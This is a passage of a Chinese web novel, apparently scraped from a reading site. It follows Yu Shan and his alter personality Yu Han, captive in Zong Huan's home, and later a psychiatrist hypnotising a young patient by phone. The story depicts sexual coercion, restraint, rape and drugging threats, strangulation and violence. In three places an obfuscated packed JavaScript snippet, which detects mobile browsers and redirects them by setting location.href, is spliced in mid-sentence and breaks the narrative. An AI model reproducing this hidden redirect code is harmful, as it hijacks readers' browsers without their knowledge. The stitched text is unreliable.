郁杉潮红的眼角有温热的泪水滑落,他唯一还能支配的那只手抓住雪白的床褥,泛白的指节一点点收紧,克制地承受自己灵魂被猖獗的烈火吞没。 (审核好,烈火和冰雪只是精神层面的自我争战,手部动作只是体现一下极端的挣扎情绪,没有别的意思谢谢。) …… 郁杉重温魇梦后陷入黑暗的意识缓过来时,人已经在宗寰家里了。 眼前是全然陌生的环境,空荡幽闭的房间内,暖黄色的灯光也无法舒缓这令人恐慌的气氛。 郁杉姿态难堪地跪坐在一张黑色的大床上,双手被反铐在床头的护栏上,双脚被分绑在床两侧。 郁杉用力挣扎着,面色冰冷地说:“放开我。” 站在床侧的宗寰看到郁杉过激地挣动着束缚,伸出手将郁杉强行摁住:“这样乱动会受伤的。” 郁杉看向宗寰,他皱着眉深吸了一口气,头疼地收拾郁寒给他设下的烂摊子:“抱歉,让你误会了,我……我不玩这些的。” 宗寰看着郁杉陡然冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没想到郁寒喜欢得几近疯魔的主人格这么无趣。”宗寰眸光闪烁地笑了笑,他嘴上说着无趣,但手又重新勾上了郁杉的衬衣纽扣。 扣子被他指节粗暴地撩断开,宗寰慢吞吞剥郁杉的衣服的动作带着极强地掌控感:“接受不了也没办法,你长得真的很对我胃口,我可不想放过送上门的天菜。” “放开我!你这是猥亵和非法拘禁!”郁杉被宗寰放肆的行为气到发抖,他心口郁结,能和郁寒鬼混到一块儿去的果然也是个疯子。 “郁教授……我应该也可以这么称呼你?多留些力气吧。”宗寰掐住郁杉的下颔,似笑非笑地说,“这种时候你最好配合些,如果你坚持威胁我的话,被激怒的我多得是办法让你染上性.瘾,让你变成人尽可奸的婊.子。” (只是口头威胁!就是吓吓郁杉,全程最多就剥了下衣服摸了下小腰,什么都没干,清清白白!审核放过我吧求求了Orz) 宗寰拉开床头柜的抽屉,从中取出一个精致的黑色镂空口球,他在郁杉惊慌的眼神中将口球强行塞进郁杉嘴里,再将固定口球的银链子系紧扣住。 宗寰挑起郁杉的下巴,目光像是在打量什么完美的玩物:“要不要玩些游戏?郁教授知道圈里说的奶农精牛是什么吗?” (这口枷带了没有两分钟,下一章就被郁寒拽下来了,只是宗寰为了吓吓郁杉以及让他闭嘴,这也没描写脖子以下啊QAQ,宗寰说的话那也都只是说说嘛。) 郁杉听不懂宗寰说的是什么,反正他知道绝不会是什么好事。郁杉目光与宗寰相对,他面上还勉强维持着冷静,但恐慌和羞愤的情绪还是萦绕在他心神中,让他极度不安。 宗寰骨节分明的纤长手指轻抚过郁杉胸腹的几处於青,他若有所思地说:“看来郁寒把你保护得挺好,他似乎什么都没让你见识过……那郁教授应该不知道Marginal controlled ejaculation是什么感觉?” 郁杉瞳孔微缩,郁寒欺辱他的那些狼狈屈辱的记忆被勾了起来,郁杉面色一瞬间血色尽失,变得极为苍白。 他突然失了所有冷静,拼命抗拒着挣扎起来,但一开口,被口球堵上的嘴里便只泄出让人难堪的呜咽声。 郁杉挣扎的呜咽声像把小钩子一样勾人心肺,宗寰的神色明显更兴奋了些:“别怕啊,我会温柔些的。” 郁寒醉过去的精神意识早因为郁杉巨大的情绪波动逐渐清醒,但他却默不作声地看了好一会儿戏。 直到此刻郁寒才恶劣地在郁杉脑海中给他解释:“宗寰说的这种驯化手段是我跟你提过的欢愉和痛苦都被掌控的典范,身为Dom的他会从中获得极致的掌控感。” 末了,郁寒似乎还嫌郁杉不够怕,又补了一句:“被掌控方很容易上瘾。” (我再解释一遍QAQ,郁寒和宗寰这两个坏蛋这里就是口嗨,纯口嗨,一丁点儿实质性的行为都没有,下一章有反转的。) 不着寸缕的郁杉忍受着宗寰在他腹部於伤处玩弄般抚摸的手,微弱的顿痛凌迟着他紧绷的神经。 郁杉一时间只觉得自己心疲力竭,他语气绝望地问:“郁寒,你欺我辱我也就算了,你还要把我送给别人玩辱……你真得,想逼死我吗?” 刚想继续撩逗郁杉的郁寒言语明显一顿,他罕见地沉默了一瞬。 宗寰碰了碰郁杉泛红的眼角,他伸出指尖轻拭掉郁杉的眼泪后,将手指放在舌尖舔了舔,他笑着说:“这就开始哭了吗?” 4. 猎人与狐狸 下一瞬,宗寰看到郁杉的眼神突然变得阴戾起来。 在宗寰惊诧的目光中,郁寒生生挣断了手铐,而后一把扯下口球,他语气危险地质问:“宗寰,玩我的人玩得挺开心?” “郁寒?”宗寰目光微凝,看着眼前气场骤变且让他感觉极为熟悉的人,挑了挑眉问。 郁寒明明还是跪坐的姿势,他却完全没有受缚于人的弱态,反而气势比宗寰还要强势许多:“宗寰,你应该知道我的忌讳和底线?” 宗寰当然知道,以郁寒对主人格那偏执的迷恋程度,当初可是连照镜子时都不肯让人碰一下的,他如果真的对郁寒主人格动什么真格的玩法儿,那郁寒会直接弄死他也说不定。 不过,人都拐回来了,忌讳就该是用来犯的,底线就该是用来破的。 宗寰其实发现郁寒的两个人格他都好喜欢,郁寒真的像一整个人都是为他的性癖生得一样。 宗寰迎着郁寒压人的气势,并不畏惧地笑了笑:“不是你说要和我试试,而且我这还没做什么呢。” “是我要和你试试,不是他。”郁寒伸手去解分绑住双脚的绳子,“我说的试试,只是想和你这个优秀的Dom交流一下训诫和精神控制手段,可没叫你对他言传身教。” 他冷冷地看了眼宗寰,“庆幸你还没真做什么吧,不然你现在已经在急救车的担架上躺着了。” 宗寰被郁寒那记眼刀盯得脊背发寒,却更加勾动心中汹涌的阴暗欲望,他强压下情绪,笑着点破郁寒话中的心机:“怎么?一句话就把自己摘得这么干净?你以为我看不出来吗?难道不是你想利用我吓吓他?” “最好吓到他哭着向你求救,就像鬼屋里那些扑到对象怀里的小情侣一样。”宗寰面上一副神色郁闷无辜的模样,他摸了摸鼻子,伸手替郁寒解另一边的绳子,“我就一妥妥反派工具人,便宜没占到多少,黑锅都让我顶了。” “宗寰,你明知道我喜欢他,还把人欺负哭。”脱开所有束缚的郁寒姿态慵懒地往床后一靠,肆口否认着,“现在人哄不好了,你说怎么办吧。” “他不愿意出来就关着他呗,精神世界不是你的主场吗?你可以一直关到他求着你放他出来。”宗寰目光扫过郁寒手腕伤口处更深的血痕,他语气不以为然地说,“你这主人格比你弱太多了,你还不是随手就能拿捏。” “还是算了吧。”郁寒颇有些头疼,他伸出骨节分明的双指轻轻揉按着太阳穴,双眼微阖,“今天逼得太狠,他情绪快崩溃了。” 见郁寒闭上眼,宗寰在郁寒身体上游走的目光更加放肆,他眼底的暗色沸腾,言语却轻佻散漫:“……这就崩溃了吗?也太脆弱了。” “他一直都这样,披着冷漠疏离的壳子装着强大孤傲,内心却如一凿就碎的薄冰般脆弱不堪。”郁寒嫌弃地讽笑着,“他遇到承受不了的伤害和痛苦便会逃避,我替他挡了那么多次,他却痛恨我的存在,想我消失。” “可没有我他活得下去吗?”郁寒抬起胳膊挡了挡眼睛,他睁开的那双星眸中有破碎的情绪,“遇到今天这种情况,没有我,绝望地等着被你这种人玩弄死吗?” “什么叫我这种人?虽然没有证据但我怀疑你在骂我。”憋着欲望无处可泄的宗寰黑着脸从衣柜里取了件衣服,丢在郁寒脸上。 “日,宗寰你干什么?”郁寒刚酝酿好的情绪被打断,装不下去了的郁寒扯下糊脸上的深蓝色衬衣,爆了句粗口。 “你刚这些话是想和他说?”宗寰托腮盯着炸毛的郁寒看了又看,“打悲情牌完全不像你的风格啊郁寒,装的时候自己嫌不嫌恶心?我反正听着怪恶心。” 被戳破的郁寒心口微妙地堵了一下,他伸手想扇开宗寰凑近的大脸,没好气地说:“这不是被你欺负哭了,我想哄哄他吗?” 宗寰躲得熟练,他挑了挑眉说:“你精神世界里真没关着他啊?所以他现在听得到我们的对话?那我可要开始说你坏话了。” “说便说呗,我本来就是恶人。”郁寒轻蔑地笑笑。 郁寒笑时狭长薄情的眼眸会微微眯起,那张清冷绝艶的脸上绽放的妖冶笑容极致地勾人心魂,本就欲念难灭的宗寰大脑空白了一瞬。 宗寰深吸一口气,偏偏半裸着诱人身子的郁寒毫无勾引人的自觉,宗寰只能伺候祖宗般亲手将衬衣给他穿上:“我的郁教授,别笑了,再笑我可就把持不住了。” 听到宗寰轻浮的话,郁寒幽深地目光落在宗寰身上,他动作散漫地舒展了下身子,唇角的笑意却淡了下去:“宗寰,今天那杯酒,你是故意的对吧?” 算帐来了。 宗寰心头一跳,面上却不露惧色地回以一笑:“我只是没想到郁教授的酒量这么差。” “你最好别对我的人起什么心思。”郁寒冷笑一声,这次他利用宗寰在先,倒没有和宗寰计较的打算。 “放心,不馋你的宝贝。”宗寰面上笑意不减,状似识趣地表态,“比起攀折摧毁高岭之花,我还是觉得吸食你这般蕴毒的罂粟会更让人沉沦。” “宗大少爷还真看上我了?我还以为两年前那晚你只是突然心血来潮。”郁寒倾身凑到宗寰面前,他伸手挑起宗寰的下巴,挑衅地笑了笑,“你还分得清自己是猎人还是猎物吗?” 提起两年的旧事,宗寰眸光暗了暗,他握住了郁寒的手腕,低头含住刚抚过他下巴的指尖,重重地咬下去,含糊道:“做你的猎物也不赖,如果你不怕狐狸咬人的话。” 指尖猛得传来刺痛,郁寒垂敛的目光微微闪烁,任由宗寰像瘾君子一样神色沉迷地吮舐着他的手指。 血液被吸食的感觉让人轻微不适,但宗寰柔软的舌舔过伤口却传来异样的酥麻感。 郁寒目光幽暗了些,他像是被取悦到了般浅笑着:“还好你没把自己比作狗,不然我能笑话你一年。” “我就算做猎物也只会是高傲的狐狸,况且我觉得卑贱的狗不会勾起猎人的兴趣。”宗寰握住郁寒手腕的手微微上移,揉捏着他腕上的血痕,“对吗?我的猎人。” “我可没本事捕获你这只狐狸。”郁寒语气懒散,像是兴致缺缺的样子,他想抽回手,却被宗寰握得更紧。 宗寰动作优雅绅士地在郁寒手背上落下一吻,他像亲吻公主的骑士,言语却没有半分骑士的忠心:“我自愿被捕获,但我的猎人要小心难驯的狐狸噬主哦。” 郁寒直白地看到了宗寰眼中难以湮灭的欲望,他严重怀疑宗寰此刻想扑上来对他做点什么。 但郁寒只轻扒拉开宗寰的脑袋,似乎只是把宗寰的话当作玩笑,游刃有余地钓了钓:“用暧昧的语气跟我说这些调情的话,腻不腻歪啊宗大少爷。” 宗寰状似深情痴迷地看了郁寒许久,半晌后突然像是绷不住般笑了出来。 他笑得张扬,眼中收敛了所有倾露的情绪,让人看不出情深,也窥不见假意,只轻佻随意地说:“腻歪死了。” 但宗寰并没有松开郁寒,他欺身将郁寒抵在床头上,声音低沉暗哑:“好不容易把你掳回家,还被从头利用到尾,要是不占点儿便宜回来,我可要咬人了。” 郁寒皱了皱眉,警惕地察觉危险逼近,他对上宗寰毫无波澜起伏的深邃眼睛,只觉得像是陷在了一片泥泞的黑暗沉渊中。 “这两年不见,宗寰,你好像变得更加奇奇怪怪的?”郁寒伸手推了推宗寰,他倒也不敢太用力伤到这位骄荣尊贵的宗家大少爷。 “两年不见……”宗寰将这四个字重复了一遍,他心中的疯狂和克制交织,戾气几乎快将优雅绅士的假面撕碎。 两年前的那晚失控脱轨的闹剧后,他人没睡到手不说,郁寒还不动声色地玩消失,像彻底决裂般完全脱离开他们这个圈子。 他宗寰是谁啊,A市顶级权贵世家的独孙,太子圈中的太子,他要把一个人弄到手多得是手段。宗寰心中千百番挣扎后,才勉强放弃了对郁寒用那些恶劣手段,他分明已经施怜放过郁寒一次了,郁寒现在却又主动送上了门,又这么轻描淡写地提起了从前。 理智逐渐薄弱的宗寰现在只想一口叼住郁寒的咽喉,让他再也无法从他身边逃脱。 事实上宗寰也真的这么做了,他突然低头咬住郁寒白皙诱人的颈脖,齿牙在郁寒咽喉的大动脉处蹭过,恶狠狠地加重了力道。 郁寒痛哼一声,眉头皱得更紧:“这发得哪门子疯。” “只是收些报酬。”宗寰目光从郁寒的唇瓣上扫过,在郁寒发飙前迅速抽身离开。 “你可真是一点亏都不吃啊。”郁寒揉了揉喉咙处的咬痕,抬眸看向宗寰,问得坦然,“我晚上睡哪儿?还有别的房间吗?” 宗寰目光闪烁:“除了这间只剩主卧了,你跟我睡?” “反正不想睡这种一看就改造过的调.教室,也不知道你带多少人回来乱搞过。”郁寒翻身下了床,他看到只关了一半的衣柜门里一言难尽的衣服,不由得扯了扯嘴角,“你这玩得也太花了,怎么还有女仆兔装。” “除你之外我可从来没带人回来过。”自诩风流浪荡的宗寰突然解释道。 这间房间早就是为他日夜肖想着的郁寒准备的,被郁寒审视的视线扫过,宗寰有些兴奋又有些心虚。 他侧身不动声色地挡住他刚刚取口球的床头柜,那里面的某些道具甚至可以算得上狰狞恐怖,还是先别让郁寒看见得好。 郁寒没在意宗寰的解释和小动作,他只是颇有些嫌弃地扯了扯身上这件深蓝色衬衫,问道:“浴室在哪儿?” “去我房间洗吧,我给你拿新的浴袍。”宗寰拉着郁寒出了房间。 郁寒进了主卧的浴室,他扯开衣服,让冰凉的水浇透自己。 水珠顺着浸透的头发滴落,郁寒直视着镜子中的自己,他伸手碰了碰镜面,眸光一暗,是面双向镜。 旋即郁寒笑了笑,挑逗地对郁杉说:“外面那变态视.奸我们呢。” “能离他远些吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238653|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁杉语气冷漠无力。 “求我。”郁寒恶劣地说,他顿了顿,又颇有些不满地嘲讽,“不过齐蹊那变态和宗寰也没什么实质性的差别,你为什么就能偏待齐蹊?” 郁杉没有再说话。 被冷待的郁寒面色不愉地扯了张浴巾挡住镜子,齐蹊简直是他们两个之间一点就炸的引火线。 快速洗完澡的郁寒披上浴袍走了出来,他慵懒的神色染上了些阴郁,于是这郁气就泄在了宗寰身上。 郁寒看着倚坐在床上的宗寰,语气傲慢地说着反客为主的话:“可以委屈宗大少爷睡客厅沙发吗?郁杉叫我离你远些。” 宗寰也不生恼,只是语气戏谑地问:“你什么时候沦落到需要听他话的地步了?” 这话直戳郁寒心窝,郁寒神色转变,他倏地笑了起来,贴着宗寰躺上床:“确实没必要惯着他。” 郁寒扫了眼宗寰顺势搂过来的胳膊,他覆身坐在宗寰身上,捏着宗寰的下巴吻了上去。 宗寰身子僵硬了一瞬,反应过来的他瞬间翻转身位将郁寒抵在床上。 他不知魇足地啃咬住郁寒的唇,他的舌像灵活的蛇钻入郁寒的口中,柔软而强势地舔过唇腔地每一寸,极致的撩拨缠绵。 郁寒没想到自己有一天会被一个吻撩拨得意乱神迷四肢发软,他微微喘息着:“宗大少爷的吻技很有进度啊。” “虽然知道你是利用我气气你的主人格,但这样的利用我觉得可以多来几次。”宗寰盯着身下的郁寒,眼中欲壑如渊。 “你这个要吃人的眼神,我怀疑你想对我做点什么。”郁寒浅笑着,目光微有些放纵后的迷离。 “不用怀疑。”宗寰语气极为认真,他舔了舔唇上残留的气息,眼底露骨欲望被笑意掩去。 “嗯,想来也不至于。”郁寒语气随意,他手肘支着床,直起身往床头坐了坐。 “我的意思是,不用怀疑,我确实想做点什么。”宗寰摸上郁寒浴袍系在腰间的衣带,用力一扯,那浴袍便松松垮垮地滑落下来。 郁寒一把抓住了宗寰放肆的手,他散漫的目光一瞬变得危险起来:“宗大少爷,你确定吗?惹毛我,精神病杀人可是不需要负刑事责任的。” 这次和两年前那晚可不同,那晚郁寒被下了烈性药任他摆布,现在的郁寒却是再清醒不过了。 宗寰知道清醒正常状态的郁寒能轻易凭蛮力挣断拇指粗细的麻绳,轻易将身形是他两倍魁梧的健壮男子揍得滚地痛嚎。 但宗寰却毫无收敛,反倒直接将郁寒的另一只手搭在自己脖子上,他被郁寒抓住的手一意孤行地一路往下,一副被掐死也要轻薄郁寒的样子。 他神情像个优雅绅士,动作却流氓市痞得彻底。 宗寰凑到郁寒耳侧,手上的力道加重,语气暧昧地说着无赖的话:“我想了想,宗家在A城只手遮天,我就是现在想做点什么犯罪的事情应该也问题不大?” “确实问题不大,但你不一定有命活着对我这个疯子犯罪。”郁寒嘲讽地笑着,宗寰手上的力道越重,他掐宗寰的脖子就越狠。 “我应该问你确定吗,宝贝,你要是杀了我,就算脱了罪,也一定会被宗家想办法送进精神病院。你会被手腕粗的铁链锁在全封闭的病房里,然后强制以治疗为名承受电击和各种精神折磨。”宗寰的脸上渐渐因缺氧浮起了薄红,却衬得他神色更加轻佻张扬。 身体被宗寰掌控的郁寒也同样不好受,他因为生理反射而绷着身子,逐渐被宗寰的手段折磨得眼角泛红,呼吸不稳。 但他眼中只有着难掩的戾气,尤其是此刻被宗寰威胁。 在窒息边缘的宗寰脖颈上都是暴起的青筋与血管,却依旧毫无惧色,艰难又畅快地说:“你会被逼着服下大量精神药物,就算你顶得住,你那位弱小得可怜的主人格也会崩溃,你会整日浑浑噩噩犹如失魂得活着,甚至再也感受不到他的存在。” 感觉到郁寒的力道没再加重,宗寰玩弄的手上毫无征兆地下了一记重手,他笑容得意放肆:“在那些非人的折磨下,他一定比你更痛苦,也一定比你更先消亡……你确定要承担这样的代价?” 郁寒咬着牙重重闷哼了一声,身子生理反射地抖了抖,短暂的不应期让他手上的力道不可控地松开了些。 宗寰欣赏着郁寒灵魂飘浮的迷离神色,那张染上娇艳色彩的绝艶面容像是开绽的红色荼蘼花,生动绚美得让人屏息忘我。 他脖子上的钳制力道轻得已经可以随意挣脱,宗寰低下头舔上了郁寒胸腹的於青。 感受着郁寒身子的颤栗,宗寰爽得要死,从郁寒旬上体会到的掌控快感比从其他人那儿强千百倍,近乎让他沉沦溺毙。 此时的身体感官本来就被无数倍地放大,胸腹疼痛敏感的伤处又被宗寰的舔吻刺激得过电般。 郁寒低声咒骂了句,他双手插进宗寰的发间狠扯,眉头紧蹙,几乎是咬牙切齿地说:“宗寰,你适可而止。” 5. 系统脱敏催眠 郁寒的话只会激起宗寰的逆反心,宗寰任由郁寒愠恼而徒劳地抓着他的头发,他笑容慵懒地伸出手,将簇拥在床头琉璃花瓶的花束中那枝他今早随手买的红色茶蘼花摘出来。 夹在食指与中指间的荼蘼花在指缝间转出一道漂亮的弧度,宗寰将荼蘼花朝郁寒递去,他目光意味不明地闪烁着:“郁教授,你知道在刚刚那一瞬间我想到了什么吗?” 郁寒知道宗寰狗嘴里吐不出象牙,脑子里想到的也绝对不会是什么好东西,他神色警惕地盯着宗寰的一举一动。 宗寰见此慢不经心地拈着荼蘼花的花朵,碾碎的花瓣压出猩红的花汁来,宗寰沾染艳色的指尖用力划过嫩绿色的枝茎,受损的枝茎瞬间渗出晶莹的汁液。 郁寒眯了眯眼,不明所以。 宗寰黏腻的指腹微微磨挲着,他笑容恶劣地低下头,叼住眼前这枝艳色茶蘼花。 宗寰狭长好看的眼梢微挑,流露出略显蛊媚妖邪的勾人神色。 “……。”郁寒短暂地一瞬沉默后,抬脚就把宗寰往床下踹。 他再不明白宗寰做出这口叼荼蘼花的举动是什么暗示他就是傻子了。 宗寰一把捏住郁寒纤细的脚腕,他借力拉过郁寒的腿双折起用膝盖压住。 宗寰的脸突然凑近,鼻尖相贴,荼蘼花软柔的花瓣蹭过郁寒的脸颊,花朵艳色的花汁沾在他唇侧的位置,宗寰呼吸微热,几乎低头就要吻上去。 愠恼的郁寒错开脸,身子向后挪了些,他眉头紧拧着,伸手就去抢宗寰嘴间的荼蘼花。 宗寰瞬间向后躲避开,脸上戏谑的笑意更甚,他含着花茎仍旧口齿清晰地说:“看来猜到了,宝贝,你方才的样子真的像极了地狱开绽的绝美荼蘼花,我真是爱惨你这副令人销魂的模样。” “宗、寰。”郁寒目光一暗,伸手重新扯住了宗寰的头发。 施加在宗寰发间的力道随着他这般休辱戏弄人的话一点点收紧,头皮顿痛的宗寰反倒嚣张地扬了扬下巴,他目光闪烁,笑着露出咬住荼蘼花枝茎的尖牙,一点点将力道加得更重。 橘黄暧昧的暖色灯光下,被宗寰叼在嘴边的殷红的荼蘼花娇艳得像是在滴血般,衬得宗寰俊美的面容妖异了几分,如同蛊人心魂的暗夜吸血鬼。 怒火中烧的郁寒顿了一下,他瞧着宗寰的模样,带着几分羞辱地说:“宗大少爷倒是生了一副好皮囊,你这副样子真像极了地狱里供人玩弄的魅魔。” 宗寰闻言微眯了眯眼,瞬间将口中叼着的荼蘼花吐了出来,上面还有道清晰可见的咬痕。 宗寰当着郁寒的面,伸出手指并不温柔地捏住荼蘼花的枝茎,隐约带着些威胁的味道,像是要将其生生折断。 被揉躏摧折的荼蘼花很快蔫萎下来,但嫣色醉人,被宗寰含沙射影带着象征意义的末路之花此刻绽放着颓丽凋朽的美感。 宗寰抬眼看了面色阴沉的郁寒一眼,他勾了勾唇角,郁寒此刻显得越是生气,宗寰越是想当着郁寒的面将手中这枝艳蘼的荼蘼花摧折得彻底。 (行吧,我删Orz) 枝叶颤动间,那朵娇嫩的荼蘼花花骨朵儿被宗寰漂亮的手指薅开,几片脆弱娇研的嫩色花瓣散落开,飘坠到床上。 明明薅的只是枝花,郁寒的身子却也下意识跟着一颤,反应过来的郁寒面色涨红得几欲滴血,甚至有一瞬快压下了这荼蘼花的艳色。 挑衅,这简直就是赤.裸裸的挑衅。 成功被挑衅激怒到的郁寒发了飙,他快速擒住宗寰薅花的手,面色愠恼地将宗寰的手腕生生掰断。 郁寒的话几乎是咬着后槽牙说的:“宗寰,你他妈真的找死!” 宗寰手上剧烈一疼,瞬间失去力气,被他摧折玩弄于掌指间的荼蘼花摔落在床上,艳红色的花瓣散得满床都是,连内里荼靡花花蕊都蔫巴巴的,颇有些被玩儿坏了的破碎可怜感。 宗寰全然不管手上剧烈的疼痛,他只觉得郁寒这副被激怒的模样生动艷丽极了。 宗寰另一只完好的手拈起几瓣散落的花瓣洒在郁寒的发间,像是在装点扯开丝带后的惊喜礼物。 荼蘼花的花香混着郁寒身上幽远的冷杉味儿的体香,宗寰神色迷恋地嗅了嗅,他的那张俊脸再次凑到郁寒的眼前,与郁寒四目相对。 宗寰的目光暧昧晦涩,郁寒的目光冰寒愠恼。 明明对视的四目中并没有缠绵的爱意,宗寰却生生让这次对视产生了让人心跳加速的电光。 下一瞬,郁寒的巴掌朝宗寰呼了过来。 宗寰侧头躲避开,他一把抓住郁寒的手腕用手肘夹制住,然后伸手绕过郁寒横在面前的手腕去挑郁寒的下巴。 占郁寒便宜得手了的宗寰露出一个带着钩子般的蛊诱眼神,他满意而放肆地笑着:“既然你都说我是魅魔了,那我今晚自然使尽浑身解数也要拉着郁寒你沉沦爱欲的魇梦。” …… A市中心医院。 刚睁开眼的齐蹊看着惨白的病房天花板缓了缓神,他先前腹部疼得快没了知觉,刚走出办公室便昏厥在了走廊。 齐蹊抬了抬手,手背上正输着药液的针头瞬间错位,他皱了皱眉,目光上移,吊着的药瓶上标着二曲肽注射液。 看样子他应该是胃部出血导致的休克,郁寒可真是下得死手,齐蹊思绪微顿,他看了眼病房外暗沉的天色,侧身去拿床头的手机。 手机亮起的屏幕上显示着“2:47”。 想到还被绑在休息室的郁杉,齐蹊目光微沉,快速给郁杉打了个电话,意料之中的无人接听。 齐蹊转而拨通助理的电话:“小李,是你送我来医院的吗?” “院长你醒了!没事了吧现在?我刚刚家里有急事就先回去了一趟,我马上过来。”李峥语气激动焦急。 “我没事,你们后来有看到郁杉吗?”齐蹊问道。 “郁教授啊……池鱼下班时撞见他了,他晚上好像一直都在你办公室,大概11点半才离开的。”李峥回想了一下,有些疑惑,“不过你都进医院了他好像一点都不关心,问都没问一句。” 齐蹊心中一沉,捏住手机的指节力道微微加重,语气平静地说:“我知道了,你不用来医院,你帮我回公寓看一下郁杉在不在,在的话别惊忧他,不在的话给我回个电话。” 齐蹊挂了电话,他其实知道答案,心中有些焦躁。病房外的树上有聚憩的知了,聒噪的蝉鸣声扰得人更加心烦意乱。 一个小时后,李峥回了电话。 齐蹊缓缓阖上眼睛,给自己下了好几个自我冷静的心理暗示才平静下来。 他不只是担心郁杉的安全,也恼火郁寒占据郁杉的身体。郁寒的出现会让郁杉脱离他的掌控,没有将郁杉私藏起来已经消磨掉他所有的自制力了,他完全无法忍受他的郁杉被郁寒抢走,他会失控的。 齐蹊在病房里枯坐到了天明,神思游离,明明面色平静,白色的薄被却被他攥出了深深的皱痕。 窗外传来属于清晨的雀鸣声,齐蹊望了过去,浅金色的朝阳透过枝桠的缝隙露出残缺的轮廓,齐蹊心中的光明仿佛也被树影切割。 一时间,心中封锁阴暗欲念的墙面龟裂,齐蹊目光闪烁。 齐蹊指尖在手机屏幕上来回划动,看到通迅录置顶的星标,齐蹊顿了顿,打给了这位他昨晚鸽掉的小病人。 电话拨了很久才被接通,那头传来一道少年青涩稚嫩的声音,却似乎带了些隐忍破碎的哭腔:“……齐医生,你身体还好吗?怎么这么晚打电话过来?” 齐蹊安抚地询问:“你这声音,又被楚邃欺负了?” 楚遂看着画室里散落在地的几条藤条,呼吸微颤:“他……晚上又打我了,因为知道了我想偷跑去接受你催眠治疗的事。” “昨晚一宿没休息?楚遂,天亮了,现在是身体由你支配的时间,别沉迷在被楚邃支配的恐惧里。”齐蹊语气平静温和,像是附着什么让人信服听从的魔力,“要通过电话做个简易催眠吗?算是昨天失约的补偿。” 楚遂顿了顿,应道:“好。” “放松些,选个安静的地方歇下,闭上眼睛。”齐蹊说,“现在在画室还是卧室?” “在画室。”楚遂搁下了手中的画笔,定了定神,然后闭上双眼。 “周围有什么?”齐蹊放缓语速。 “画板、颜料、笔……藤条。”楚遂脑中陷入回忆和构想,他卷垂的纤长睫毛微微颤了颤,他闭着眼,灵魂却仿佛仍旧立在画室中。 隔着电话线,齐蹊收集不到楚遂眼睫颤抖这些微小的反应信息,但他捕捉到最后一个名词的奇特性。 齐蹊拿起床头柜上的玻璃水杯,他指节在玻璃上微叩,杯体发出有节奏的清脆声啊。 有辅助的催眠音,楚遂陷入深意识会更容易些,齐蹊接着引导:“拿起那根藤条。” 楚遂迟疑了一下,他的意识像是本能的畏惧这个东西,但清脆的宛如乐器奏鸣声安抚了他的恐惧,他成功握住了在他身上施加过无数疼痛的藤条。 楚遂深吸一口气,声音有些雀跃:“拿起来了。” “有看到四周有什么人吗?”齐蹊问。 “什么人?”楚遂茫然,然后声音顿了一瞬,“……看到了。” 楚遂目光微颤,他的眼前出现了一个身影单薄的少年。 少年跪趴在镜子和画板前,他背部都是被藤条抽打过的红色鞭痕,光滑纤细的双腿像撑不住身子般打着颤,腿旁是一根沾着颜料的三指粗的狼毫画笔,白色的颜料蹭在小腿肚上,衬着少年身上的鞭痕更加糜艳。 镜子里映出了少年此刻屈辱的神色,他嘴里还叼着一根被生生打断了的藤条,少年紧咬着薄唇,泛红的眼眶中盈着晶莹如白钻的泪水,滴落在画布上,晕开了未干的颜料。 ……这是他昨晚被楚邃欺负折辱的模样,这少年,是他自己。 楚遂几乎快拿不住手中突然变得灼烫可怖的藤条,他声音哽咽:“看到了我自己,昨晚的我。” “那不是你。”齐蹊很轻易地猜到楚遂看到了什么,他语气坚定地反驳,“在你的精神世界里不会出现两个你,你所看到的是楚邃伪装的假象。” 楚遂后退了半步,他眼中出现了根深蒂固的恐惧。 齐蹊紧接着下了新的指令:“现在,拿起你手中的武器攻击你的恐惧。” 服从催眠师的本能和恐惧楚邃的本能在心中纠缠,楚遂闭眼侧过头,狠狠地向前挥动手中的藤条。 跪在地上的少年屈辱脆弱的神色突然变得扭曲起来,他抬头盯着挥动藤条对他抽过来的楚遂,一瞬间像是破开了诱捕戏弄猎物的伪装,变回了暴虐残忍的楚邃。 藤条破空抽中少年单薄的身体,楚遂却抖了抖,甚至下意识屏住了呼吸。 楚遂骤然屏住的气息让齐蹊知道一切都完美地按着他的预料发展,齐蹊停下了敲叩玻璃水杯的动作,他轻声说:“别怕,没事了。” 楚遂的催眠随着齐蹊这句话结束,他在楚邃站起身的那一瞬间脱离精神世界睁开双眼,他大口大口喘着气,像是刚战胜了一场恐怖的梦魇。 “系统脱敏法的效果应该还不错。”齐蹊声音温和,“楚遂,我这里有一种治疗人格分裂的特效药,但我一直不敢开给你。” “什么药?”楚遂像是终于有勇气去够水中的浮木,他坚定地顺着齐蹊的话追问道。 “这款药还在临床试验的阶段,但这并不是我不敢开的原因。”齐蹊侧头看了看天边完全升起的朝阳,语气平静,“这款特效药会加速消抹弱小的人格,保留强大的人格。” 见吊瓶里的药液终于输完了,齐蹊自行拆了针,但他话未断:“你作为主人格却比楚邃更残缺更弱小,除非哪天你能完全根除对楚邃的恐惧并压制他,否则这药开给你也是自寻死路。” 楚遂沉默了一瞬,然后果断地说:“我可以预约完整疗程的系统脱敏催眠吗?” “当然可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郁寒黑着脸给宗寰打电话:“我被保安拦下了,报下你是哪套房的业主。” “你可以直接跟他们报我的名字。”电话里出现回音,宗寰的声音由远及近。 郁寒回过头,看见走过来的宗寰穿了件和他同款的黑色衬衫。 